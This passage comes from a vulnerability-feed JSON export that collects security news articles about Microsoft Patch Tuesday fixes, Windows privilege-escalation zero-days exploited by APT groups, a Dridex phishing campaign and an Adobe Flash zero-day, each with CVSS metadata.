(CVE-2021-24100) that could have revealed personally identifiable information and payment information of a user, and the other in Microsoft Teams for iOS (CVE-2021-24114) that could have exposed the Skype token value in the preview URL for images in the app.\n\n### RCE Flaws in Windows TCP/IP Stack\n\nLastly, the Windows maker released a set of fixes affecting its TCP/IP implementation \u2014 consisting of two RCE flaws (CVE-2021-24074 and CVE-2021-24094) and one denial of service vulnerability (CVE-2021-24086) \u2014 that it said could be exploited with a DoS attack.\n\n\"The DoS exploits for these CVEs would allow a remote attacker to cause a stop error,\" Microsoft [said](<https://msrc-blog.microsoft.com/2021/02/09/multiple-security-updates-affecting-tcp-ip/>) in an advisory. \"Customers might receive a blue screen on any Windows system that is directly exposed to the internet with minimal network traffic. Thus, we recommend customers move quickly to apply Windows security updates this month.\"\n\nThe tech giant, however, noted that the complexity of the two TCP/IP RCE flaws would make it hard to develop functional exploits. But it expects attackers to create DoS exploits much more easily, turning the security weakness into an ideal candidate for exploitation in the wild.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-02-10T04:44:00", "type": "thn", "title": "Microsoft Issues Patches for In-the-Wild 0-day and 55 Others Windows Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1472", "CVE-2021-1722", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-24074", "CVE-2021-24077", "CVE-2021-24078", "CVE-2021-24081", "CVE-2021-24086", "CVE-2021-24094", "CVE-2021-24100", "CVE-2021-24114", "CVE-2021-26701"], "modified": "2021-02-15T11:58:01", "id": "THN:0C87C22B19E7073574F7BA69985A07BF", "href": "https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-02-16T18:53:24", "description": "Microsoft has removed a faulty servicing stack update, which was causing issues for Windows users when they tried to install last week\u2019s [Patch Tuesday security updates](<https://threatpost.com/exploited-windows-kernel-bug-takeover/163800/>).\n\nMicrosoft\u2019s [servicing stack update](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) provides fixes for the component that installs Windows updates. This particular defective update ([KB4601392](<https://support.microsoft.com/en-us/topic/kb5001078-servicing-stack-update-for-windows-10-version-1607-february-12-2021-3e19bfd1-7711-48a8-978b-ce3620ec6362>)) applied to Windows 10 users (version 1607 for 32-bit and x64-based systems) and Windows Server 2016 users.\n\nTo address this issue, Microsoft has removed the faulty update and released a new one ([KB5001078](<https://support.microsoft.com/en-us/topic/kb5001078-servicing-stack-update-for-windows-10-version-1607-february-12-2021-3e19bfd1-7711-48a8-978b-ce3620ec6362>)).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere is a known issue that halts the installation progress of the February 9, 2021 security update,\u201d said Microsoft on Friday.\n\n## **Microsoft Faulty Update: A Windows Security Issue **\n\nMicrosoft said that the erroneous servicing-stack update (KB4601392) froze installations for the \u201cCumulative Update\u201d from the recent Windows Update. This resulted in the installation for the update halting at 24 percent.\n\nWindows users \u2013 who [reported issues](<https://www.askwoody.com/tag/kb5001078/>) \u2013 must install this new servicing stack update before installing the its recent February Patch Tuesday security update from last week.\n\n\u201cYou must install the new servicing-stack update (SSU) [KB5001078 ](<https://support.microsoft.com/en-us/topic/kb5001078-servicing-stack-update-for-windows-10-version-1607-february-12-2021-3e19bfd1-7711-48a8-978b-ce3620ec6362>)before installing this cumulative update (LCU),\u201d according to Microsoft. \u201cSSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes.\u201d\n\n## **How Windows Users Can Mitigate if They Already Installed KB4601392**\n\nMicrosoft gave the follow mitigation advice for devices that have already installed KB4601392:\n\n * Users should restart their devices and then follow only steps 1, 2 and 4a from [Reset Windows Update components manually.](<https://docs.microsoft.com/en-us/windows/deployment/update/windows-update-resources#reset-windows-update-components-manually>)\n * They should then restart their devices again.\n * [KB5001078](<https://support.microsoft.com/help/5001078>) should now install from Windows Update when users select \u201ccheck for updates\u201d \u2013 or they can wait for it to install automatically.\n * Users should then be able to install the latest Cumulative Update from Windows Update.\n\nFor Windows users who haven\u2019t applied the previous update, the new update \u201cis available through Windows Update,\u201d said Microsoft. \u201cIt will be downloaded and installed automatically.\u201d\n\nTo get the stand-alone package for the update, users can also go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5001078>) website said Microsoft.\n\n## **Patch Tuesday Security Updates: Apply Now **\n\nMicrosoft\u2019s February Patch Tuesday from last week addressed nine critical-severity cybersecurity bugs, plus an important-rated vulnerability that is being actively exploited in the wild.\n\nThe bug tracked as [CVE-2021-1732](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732>),** **is being actively exploited, according to Microsoft\u2019s advisory. This underscores the need for sysadmins to quickly apply the update. This is why the faulty servicing-stack update creating an obstacle for deploying Patch Tuesday updates is an issue for companies.\n\n\u201cThe exploitation of this vulnerability would allow an attacker to execute code in the context of the kernel and gain SYSTEM privileges, essentially giving the attacker free rein to do whatever they wanted with the compromised machine,\u201d said Chris Hass, director of Information Security and Research at Automox, in an email.\n\n\u201cBecause this vulnerability is already being used by attackers, patching this vulnerability is as soon as possible is absolutely crucial,\u201d said Hass.\n\n### _Is your small- to medium-sized business an easy mark for attackers?_\n\n**Threatpost WEBINAR:** _ Save your spot for __\u201c_**15 Cybersecurity Gaffes SMBs Make**_,\u201d a _[**_FREE Threatpost webinar_**](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)** _on Feb. 24 at 2 p.m. ET._**_ Cybercriminals count on you making these mistakes, but our experts will help you lock down your small- to mid-sized business like it was a Fortune 100. _[_Register NOW_](<https://threatpost.com/webinars/15-cybersecurity-gaffes-and-fixes-mid-size-businesses-face/?utm_source=ART&utm_medium=ART&utm_campaign=Feb_webinar>)_ for this _**_LIVE_****_ _**_webinar on Wed., Feb. 24._\n", "cvss3": {}, "published": "2021-02-16T16:47:36", "type": "threatpost", "title": "Microsoft Pulls Bad Windows Update After Patch Issue", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1732"], "modified": "2021-02-16T16:47:36", "id": "THREATPOST:FFC3DB875D4337781CF78C0D4B39F0E0", "href": "https://threatpost.com/microsoft-windows-update-patch-tuesday/163981/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-03-14T05:46:52", "description": "A variant of the Dridex banking trojan recently popped up in an email campaign, with an unusual twist: The attackers used compromised FTP sites for hosting malicious documents, according to researchers at Forcepoint. It was a notable departure from the norm of using HTTP links and could represent the start of a new trend.\n\nThe phishing campaign occurred earlier this week and lasted about seven hours. The top targets were users in France, the UK and Australia.\n\nEmails used in the campaign each had hypertext links to compromised FTP servers hosting malicious files. Those FTP links enticed targets to download either DOC or XLS files. Malicious DOC files, if opened, abused the DDE (Dynamic Data Exchange) feature in Microsoft Office to download the Dridex payload. XLS files containing a macro that downloaded Dridex, Forcepoint [said in a blog post](<https://blogs.forcepoint.com/security-labs/new-year-new-look-dridex-compromised-ftp>).\n\nEmails were dressed up to look more official by using sender names such as \u201cadmin@\u201d and billing@\u201d, the report stated.\n\nIt is possible the campaign emanated from the [notorious Necurs botnet](<https://threatpost.com/necurs-based-dde-attacks-now-spreading-locky-ransomware/128554/>), the company said. Domains used are known as compromised and tied to the Necurs botnet, a key distributor of Dridex, said researchers.\n\n\u201cNecurs has recently been recorded using malicious links (as opposed to malicious attachments) to distribute Dridex, but the switch to FTP-based download URLs is an unexpected change.,\u201d researchers wrote.\n\nFTP could also have been used as a cloaking mechanism, since email gateways and network policies may view FTPs as trusted locations.\n\n\u201cThe perpetrators of the campaign do not appear to be worried about exposing the credentials of the FTP sites they abuse, potentially exposing the already-compromised sites to further abuse by other groups,\u201d said researchers. \u201cThis may suggest that the attackers have an abundant supply of compromised accounts and therefore view these assets as disposable. Equally, if a compromised site is used by multiple actors it also makes attribution harder for security professionals and law enforcement.\u201d\n\nOverall, the usage of FTP sites as well as the low volume of the campaign\u2014just about 9,500 emails\u2014makes it rather peculiar, said Luke Somerville, head of special investigations at Forcepoint, in an interview.\n\n\u201cWhat made this one stand out is that it had ties back to Necurs, but it isn\u2019t entirely representative of a historical Necurs campaign,\u201d Somerville said. \u201cThey\u2019re usually much, much bigger.\u201d\n\nNecurs campaigns commonly involve millions of emails. Still, Forcepoint decided to hold back from stating categorically it was tied to Necurs, Somerville said.\n\nOne possibility is that the campaign was deliberately small in size. \u201cUltimately, Necurs spam campaigns are sold as a service,\u201d Somerville said. \u201cPotentially, someone bought a very low tier of the service.\u201d\n\nIt could have also been a trial run of sorts for using FTP in phishing campaigns, he said.\n\nMeanwhile, the campaign marked another instance of criminals taking advantage of DDE, which Microsoft has refused to patch on grounds it is a feature of Word and not a vulnerability. DDE is a protocol that allows users to share data between applications and has been abused by attackers to launch droppers, exploits and malware.\n\nMicrosoft has a valid argument, Somerville said: \u201cEveryone has a knife in their kitchen for chopping vegetables, but you could also do something terrible with it.\u201d\n\nOngoing user education is an important tool enterprises must use in battling the likes of Dridex, he added. \u201c[Dridex] requires user interaction. People have to click on the link, they have to open the attachments.\u201d\n\nThe variant spotted by Forcepoint is just the latest evolution of Dridex, which has targeted financial institutions, mainly in Europe, since late 2014. A variant [reported in September](<https://threatpost.com/new-dridex-phishing-campaign-delivers-fake-accounting-invoices/127867/>) used fake accounting invoices to steal victims\u2019 personal information. Early last year, Dridex v4 was released with the [addition of AtomBombing](<https://threatpost.com/dridex-trojan-gets-a-major-atombombing-update/123972/>), a more sophisticated method of code injection.\n", "cvss3": {}, "published": "2018-01-19T13:45:16", "type": "threatpost", "title": "New Dridex Variant Emerges With An FTP Twist", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0797"], "modified": "2018-01-19T13:45:16", "id": "THREATPOST:0122DA221AF8A2C80D492879AD032E59", "href": "https://threatpost.com/new-dridex-variant-emerges-with-an-ftp-twist/129546/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-02-10T00:00:00", "description": "Security teams might have skipped January\u2019s Patch Tuesday after reports of it breaking servers, but it also included a patch for a privilege-escalation bug in Windows 10 that leaves unpatched systems open to malicious actors looking for administrative access. It\u2019s a bug that now has a proof-of-concept exploit [available in the wild](<https://github.com/gdabah/win32k-bugs/blob/master/console.cpp>).\n\nThe exploit was released by Gil Dabah, founder and CEO of Privacy Piiano, who tweeted that he decided not to report the bug two years ago after finding it difficult to get paid on other bug bounties through the Microsoft program.\n\n> Found it two years ago. Not recently. That\u2019s the point. <https://t.co/PtRuNDAEYQ>\n> \n> \u2014 Gil Dabah (@_arkon) [January 26, 2022](<https://twitter.com/_arkon/status/1486449470741135362?ref_src=twsrc%5Etfw>)\n\n## **The LPE Bug **\n\n\u201cA local, authenticated attacker could gain elevated local system or [administrator privileges](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882>) through a vulnerability in the Win32k.sys driver,\u201d Microsoft explained in it\u2019s advisory, part of [January\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-wormable-critical-rce-bug-zero-day/177564/>).\n\nThe [disclosure for CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-21882.html>) from RyeLv, who is attributed with the find, was published on Jan. 13 and described the [win32k object type confusion](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882>) vulnerability.\n\n\u201cThe attacker can call the relevant GUI API at the user_mode to make the kernel call like xxxMenuWindowProc, xxxSBWndProc, xxxSwitchWndProc, xxxTooltipWndProc, etc.,\u201d the disclosure by RyeLV said.\n\n\u201cThese kernel functions will trigger a callback xxxClientAllocWindowClassExtraBytes. Attacker can intercept this callback through hook xxxClientAllocWindowClassExtraBytes in KernelCallbackTable,and use the NtUserConsoleControl method to set the ConsoleWindow flag of the tagWND object, which will modify the window type.\u201d\n\nThe bug was being exploited by sophisticated groups as a zero-day issue, Microsoft said.\n\n> Regarding the just-fixed CVE-2022-21882: \nwin32k privilege escalation vulnerability, \nCVE-2021-1732 patch bypass,easy to exploit,which was used by apt attacks\n> \n> \u2014 b2ahex (@b2ahex) [January 12, 2022](<https://twitter.com/b2ahex/status/1481233350840893442?ref_src=twsrc%5Etfw>)\n\n## **Microsoft Needs to Up It\u2019s Bug Bounty Game? **\n\nJanuary\u2019s Patch Tuesday was plagued by [Windows server update issues](<https://threatpost.com/microsoft-yanks-buggy-windows-server-updates/177648/>) that could have understandably made internal security teams pause before downloading the patches. But a PoC is now available for the bug, putting exploitation in reach of cybercriminals of all levels of expertise.\n\nDabah said that Microsoft\u2019s bug-bounty program was problematic.\n\n> The reason I didn\u2019t disclose it, was because I waited to get paid by Msft for long time for other stuff. By the time they paid they reduced awards to nothing almost. I was already busy with my startup and that\u2019s the story how it went unfixed. [@ja_wreck](<https://twitter.com/ja_wreck?ref_src=twsrc%5Etfw>) <https://t.co/PtRuNDAEYQ>\n> \n> \u2014 Gil Dabah (@_arkon) [January 28, 2022](<https://twitter.com/_arkon/status/1487005745023537157?ref_src=twsrc%5Etfw>)\n\nInvesting in the program was the primary recommendation in RyeLv\u2019s technical analysis to Microsoft.\n\nHe noted how to \u201ckill the bug class\u201d: \u201cImprove the kernel zero-day bounty, let more security researchers participate in the bounty program, and help the system to be more perfect.\u201d\n\nIt should be noted that Microsoft has been willing to throw additional funding at [bug-bounty programs](<https://threatpost.com/microsoft-30k-teams-bugs/165037/>) for other high-profile products, including last spring\u2019s announcement the company would pay up to $30,000 for Teams bugs.\n\nThe computing giant did not immediately return a request for comment.\n\n**_Check out our free _**[**_upcoming live and on-demand online town halls_**](<https://threatpost.com/category/webinars/>) **_\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-01-31T21:59:35", "type": "threatpost", "title": "Public Exploit Released for Windows 10 Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-01-31T21:59:35", "id": "THREATPOST:9673D04DAD513AC05EA6440633D75339", "href": "https://threatpost.com/public-exploit-windows-10-bug/178135/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-03-14T05:46:49", "description": "The South Korean Computer Emergency Response Team issued a warning Wednesday of a new Adobe Flash Player zero-day spotted in the wild. The security bulletin warns that the attacks are focused on South Koreans and involve malicious Microsoft Word documents.\n\nAccording to the South Korean Computer Emergency Response Team (KR-CERT), the zero-day is believed to be a Flash SWF file embedded in MS Word documents. Impacted is Adobe\u2019s most recent Flash Player 28.0.0.137 and earlier.\n\n\u201cAn attacker may be able to convince a user to open a Microsoft Office document, web page, or spam mail containing a Flash file,\u201d according to a machine translation [of the KR-CERT security bulletin](<https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998>).\n\nAdobe released a security advisory on Thursday acknowledging the vulnerability and attacks.\n\n> \u201cAdobe is aware of a report that an exploit for [CVE-2018-4878](<https://helpx.adobe.com/security/products/flash-player/apsa18-01.html>) exists in the wild, and is being used in limited, targeted attacks against Windows users. Adobe will address this vulnerability in a release planned for the week of February 5,\u201d according the advisory.\n\nAdobe said the zero-day is exploiting the vulnerability CVE-2018-4878, a critical remote code execution bug. According to Adobe it was discovered in Adobe Flash Player before 28.0.0.137. Adobe credits KR-CERT for reporting this issue.\n\nAdobe said affected products are versions of Adobe Flash Player Desktop Runtime (Win/Mac), Adobe Flash Player for Google Chrome (Win/Mac/Linux/Chrome OS), Adobe Flash Player for Microsoft Edge and Internet Explorer 11 (Win 10 & 8.1) and Adobe Flash Player Desktop Runtime (Linux). A complete list is [available here](<https://helpx.adobe.com/security/products/flash-player/apsa18-01.html>).\n\nSimon Choi, a security researcher with the South Korean security firm Hauri, claimed on Twitter that the zero-day vulnerability originated in North Korea and has been in use since mid-November 2017. Targeted are South Koreans researching online for information about North Korea.\n\n> Flash 0day vulnerability that made by North Korea used from mid-November 2017. They attacked South Koreans who mainly do research on North Korea. (no patch yet) [pic.twitter.com/bbjg1CKmHh](<https://t.co/bbjg1CKmHh>)\n> \n> \u2014 Simon Choi (@issuemakerslab) [February 1, 2018](<https://twitter.com/issuemakerslab/status/959006385550778369?ref_src=twsrc%5Etfw>)\n\nKR-CERT is recommending users refrain from using Microsoft\u2019s Internet Explorer browser and use Mozilla\u2019s Firefox browser instead.\n\nOn Thursday Adobe recommended:\n\n> \u201cBeginning with Flash Player 27, administrators have the ability to change Flash Player\u2019s behavior when running on Internet Explorer on Windows 7 and below by prompting the user before playing SWF content. For more details, see this administration guide. Administrators may also consider implementing Protected View for Office. Protected View opens a file marked as potentially unsafe in Read-only mode,\u201d Adobe said.\n", "cvss3": {}, "published": "2018-02-01T15:40:55", "type": "threatpost", "title": "Adobe Flash Player Zero-Day Spotted in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-4871", "CVE-2018-4878", "CVE-2019-0797"], "modified": "2018-02-01T15:40:55", "id": "THREATPOST:E1C629434DE943EAA7BD57B1F6EEA7E2", "href": "https://threatpost.com/adobe-flash-player-zero-day-spotted-in-the-wild/129742/", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-03-14T05:46:34", "description": "Microsoft patched 15 critical vulnerabilities this month as part of its March Patch Tuesday roundup of fixes. In all, the company issued 75 fixes, with 61 rated important. Products receiving the most urgent patches included Microsoft browsers and browser-related technologies such as the company\u2019s JavaScript engine Chakra.\n\nIn all 21 browser-related fixes were rolled out by Microsoft, 14 of which are rated critical and the remaining seven ranked important. Of the bugs, \u201cscripting engine memory corruption vulnerabilities\u201d represented 14 of the flaws.\n\nEach of the browser scripting issue allowed adversaries to exploit flaws in the way the browser and Microsoft\u2019s JavaScript engine Chakra handles objects in memory. For example, with [CVE-2018-0930](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0930>), a web-based attacker could rig a website to exploit the vulnerability through Microsoft Edge or run malicious ads on an unsuspecting website to create conditions amenable to an attack.\n\n\u201cThe vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user,\u201d Microsoft wrote. \u201cAn attacker who successfully exploited the vulnerability could gain the same user rights as the current user.\u201d\n\nWorse, if a user is logged into a system as an administrator, an attacker could take control of an affected system and install programs, view folder contents and change, or delete data, Microsoft said.\n\nPart of this month\u2019s round of patches also included an additional update for the Meltdown vulnerabilities. Windows 32-bit versions of Windows 7 and 8.1, as well as Server 2008 and 2012 now have mitigations for Meltdown and Spectre.\n\n\u201cThe Windows kernel received a lot of attention this month likely due to the ongoing attention on Meltdown and Spectre vulnerabilities. I stopped counting the CVEs after a dozen. Good news is I did not see anything higher than an important rating, but that is a lot of changes in the kernel,\u201d said Chris Goettl, director of product management, security, for [Ivanti](<https://www.ivanti.co.uk/>).\n\nWorth noting are several additional bugs, including an important remote code execution vulnerability ([CVE-2018-0886](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0886>)) in Microsoft\u2019s Credential Security Support Provider protocol (CredSSP), used to chain user authentication from one client to another.\n\n\u201cAs an example of how an attacker would exploit this vulnerability against Remote Desktop Protocol, the attacker would need to run a specially crafted application and perform a man-in-the-middle attack against a Remote Desktop Protocol session. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,\u201d [Microsoft wrote](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0886>).\n\nA Windows Shell vulnerability ([CVE-2018-0883](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-0883>)) is also worth highlighting, noted Jimmy Graham, director of product management at Qualys in a [Patch Tuesday blog post](<https://blog.qualys.com/laws-of-vulnerabilities/2018/03/13/march-patch-tuesday-75-microsoft-vulnerabilities-2-for-adobe>). The bug is \u201ca remote code execution vulnerability in the Windows Shell. It does require the user to download and open a malicious file in order to exploit it, but this patch should also be prioritized for workstation-type systems,\u201d he wrote.\n\nOffice-related bug fixes tied to SharePoint numbered 13, pointed out the [Zero Day Initiative team blog](<https://www.zerodayinitiative.com/blog/2018/3/13/the-march-2018-security-update-review>). \u201cAll of these involve bugs with input sanitization that could allow cross-site scripting (XSS) attacks,\u201d according to ZDI.\n\n\u201cThis month also sees multiple Exchange patches, which always tend to make sysadmins nervous. The March release is rounded out by patches for ASP.NET and Windows OS components. Folks with ASP.NET Core applications should definitely take note since some of these bugs could cause those apps to crash,\u201d ZDI said.\n", "cvss3": {}, "published": "2018-03-13T18:25:37", "type": "threatpost", "title": "Microsoft Patches 15 Critical Bugs in March Patch Tuesday Update", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-0883", "CVE-2018-0886", "CVE-2018-0930", "CVE-2019-0797"], "modified": "2018-03-13T18:25:37", "id": "THREATPOST:1CC1606323D9ADB7A8209EBEC63F6728", "href": "https://threatpost.com/microsoft-patches-15-critical-bugs-in-march-patch-tuesday-update/130424/", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-02-15T11:44:46", "description": "A newly-patched Microsoft Win32k vulnerability is being exploited in the wild by at least two threat actors, including a recently discovered advanced persistent threat (APT) group dubbed SandCat.\n\nThe exploited vulnerability (CVE-2019-0797), rated important, was [patched on Tuesday](<https://threatpost.com/microsoft-patches-two-win32k-bugs-under-active-attack/142742/>) as part of Microsoft\u2019s regularly scheduled March security update. But Kaspersky Lab researchers said that the vulnerability is already being used by two APTs, SandCat and [FruityArmor](<https://threatpost.com/fruityarmor-apt-exploits-yet-another-windows-graphics-kernel-flaw/138192/>), to run arbitrary code on target systems.\n\nSandCat is an APT that was discovered only recently, researchers Vasiliy Berdnikov and Boris Larin said in a Wednesday [deep dive analysis](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) of the vulnerability and its exploits.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSandCat is a relatively new APT group; we first observed them in 2018, although it would appear they have been around for some time,\u201d Costin Raiu, director of global research and analysis team at Kaspersky Lab, told Threatpost. \u201cThey use both [FinFisher/FinSpy](<https://threatpost.com/office-zero-day-delivering-finspy-spyware-to-victims-in-russia/124939/>) [spyware] and the [CHAINSHOT](<https://unit42.paloaltonetworks.com/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/>) framework in attacks, coupled with various zero-days. Targets of SandCat have been mostly observed in Middle East, including but not limited to Saudi Arabia.\u201d\n\nMeanwhile, the FruityArmor APT group is an under-the-radar cyber-espionage gang also active in the Middle East, which has been around for some time, Raiu said. FruityArmor has been known to exploit other zero days, including one (CVE-2018-8453) [back in October 2018](<https://threatpost.com/fruityarmor-apt-exploits-yet-another-windows-graphics-kernel-flaw/138192/>).\n\n\u201cThe earliest publication from our side on them is from 2016, [when we identified another zero day](<https://threatpost.com/fruityarmor-apt-group-used-recently-patched-windows-zero-day/121398/>) (CVE-2016-3393) being used by this group,\u201d Raiu told Threatpost. \u201cVictims of FruityArmor are generally located in Middle East, but they are known to target journalists and activists in other regions as well.\u201d\n\nThe new exploit found in the wild is targeting 64-bit operating systems in the range from Windows 8 to Windows 10 build 15063.\n\n\u201cAs we can see from the zero-day used in the wild, exploitation of this vulnerability is not difficult and is reliable for 64-bit operating systems in the range from Windows 8 to Windows 10 build 15063,\u201d Kaspersky Lab\u2019s Larin told Threatpost.\n\nBoth Mideast-focused APTs are selectively choosing their targets, researchers said.\n\n\u201cWe observed very few attempts to exploit this vulnerability, in targeted attacks,\u201d Raiu told Threatpost. \u201cThis is generally the case with high-profile zero-days, which are used only for high-value targets in what can be considered surgical campaigns.\u201d\n\n## The Vulnerability\n\nCVE-2019-0797 is an elevation of privilege vulnerability, which exists in Windows when the Win32k component fails to properly handle objects in memory. Win32k is the Windows kernel driver.\n\nSpecifically, the flaw is a race condition that is present in the win32k driver due to a lack of proper synchronization between undocumented system calls (NtDCompositionDiscardFrame and NtDCompositionDestroyConnection), researchers said. A race condition occurs when system attempts to perform two or more operations at the same time.\n\nTo exploit this, an attacker could first execute the system calls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection simultaneously.\n\nWhen this happens, the system call NtDCompositionDiscardFrame will look for a frame to release. During that time, the attacker would execute the function DiscardAllCompositionFrames; This condition leads to a use-after-free scenario, which is a type of memory-corruption flaw that can be leveraged by hackers to execute arbitrary code.\n\nThat means an attacker who successfully exploits this vulnerability could run arbitrary code in kernel mode \u2013 and could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\n\u201cAn attacker could\u2026run a specially crafted application that could exploit the vulnerability and take control of an affected system,\u201d according to Microsoft\u2019s [advisory](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0797>).\n\nImportantly, to exploit the vulnerability, an attacker would first have to log on to the system.\n\nResearchers reported the flaw to Microsoft on Feb. 22. Microsoft\u2019s subsequent update, released on Patch Tuesday, addresses the vulnerability by correcting how Win32k handles objects in memory.\n\n**_Don\u2019t miss our free live _****_[Threatpost webinar](<https://attendee.gotowebinar.com/register/6499105876772027139?source=ART>)_****_, \u201cExploring the Top 15 Most Common Vulnerabilities with HackerOne and GitHub,\u201d on Wed., Mar 20, at 2:00 p.m. ET._**\n\n**_Vulnerability experts Michiel Prins, co-founder of webinar sponsor HackerOne, and Greg Ose, GitHub\u2019s application security engineering manager, will join Threatpost editor Tom Spring to discuss what vulnerability types are most common in today\u2019s software, and what kind of impact they would have on organizations if exploited._**\n", "cvss3": {}, "published": "2019-03-13T15:15:11", "type": "threatpost", "title": "Threat Groups SandCat, FruityArmor Exploiting Microsoft Win32k Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2016-3393", "CVE-2018-5002", "CVE-2018-8453", "CVE-2019-0797"], "modified": "2019-03-13T15:15:11", "id": "THREATPOST:3127C5639EF00B80A0DE1B63E8892A5E", "href": "https://threatpost.com/sandcat-fruityarmor-exploiting-microsoft-win32k/142751/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-03-14T05:46:56", "description": "Thanks to Meltdown and Spectre, January has already been an extremely busy month of patching for Microsoft. Today Microsoft tackled dozens more bugs, part of its regular Patch Tuesday release covering Microsoft Edge, Windows, Office, ASP.NET and the macOS version of Office.\n\nSixteen of Microsoft\u2019s updates tackled critical vulnerabilities, 38 are rated important and one low. A total of 20, could potentially lead to remote code execution.\n\n\u201cMicrosoft started Patch Tuesday a little early this month by releasing the operating system updates last week,\u201d said Chris Goettl, product manager at Ivanti, in his commentary on Patch Tuesday.\n\nHe said, last week Microsoft [released out-of-band updates](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/ADV180002>) resolving three unique CVEs for Meltdown and Spectre, both speculative execution side-channel attacks.\n\n\u201cThese additions brings Microsoft\u2019s January patch updates to a total of about 55 vulnerabilities (CVEs). This includes four CVEs that have been publicly disclosed and one CVE detected in exploits in the wild,\u201d Goettl said.\n\nJimmy Graham, director of product management at Qualys, points out that this month is unique in that Microsoft has halted the deployment of patches for some AMD systems and other updates are 